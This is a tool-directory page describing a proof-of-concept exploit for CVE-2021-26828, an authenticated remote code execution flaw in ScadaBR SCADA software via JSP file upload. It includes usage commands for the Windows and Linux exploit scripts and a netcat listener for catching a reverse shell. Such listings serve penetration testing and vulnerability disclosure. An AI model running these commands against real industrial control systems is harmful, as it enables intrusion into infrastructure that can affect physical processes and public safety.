Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
Tools/GitHubGitHub/hev0x/cve-2021-26828_scadabr_rce
Vulnerability AnalysisExploitationSCADA/ICS SecurityWeb Application ExploitationPenetration TestingRemote Access Tool
GitHubhev0x/cve-2021-26828_scadabr_rce

CVE-2021-26828_ScadaBR_RCE

Proof-of-concept exploit for CVE-2021-26828 enabling authenticated remote code execution on ScadaBR SCADA systems via JSP file upload. Supports Windows and Linux targets with reverse shell payloads.

View Repository
94105 years agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

POC CVE-2021-26828_ScadaBR_RemoteCodeExecution

  • ScadaBR 0.9.1 on Linux and through 1.0 and 1.12.4CE on Windows allows remote authenticated users to upload and execute arbitrary JSP files via 'view_edit.shtm' and Remote Code Execution.

Exploit Usage

Commands:

  • Windows: $ sudo python WinScada_RCE.py <Remote_Host> <Remote_Port> <User> <Pass>

  • Linux: First in your local machine open any port before exploit execution:

$ sudo nc -vnlp 4444

$ sudo python LinScada_RCE.py <Remote_Host> <Remote_Port> <User> <Pass> <Reverse_IP> <Reverse_Port>

  • References:

    https://www.exploit-db.com/exploits/49734

https://www.exploit-db.com/exploits/49735

https://www.youtube.com/watch?v=k1teIStQr1A

Download Tool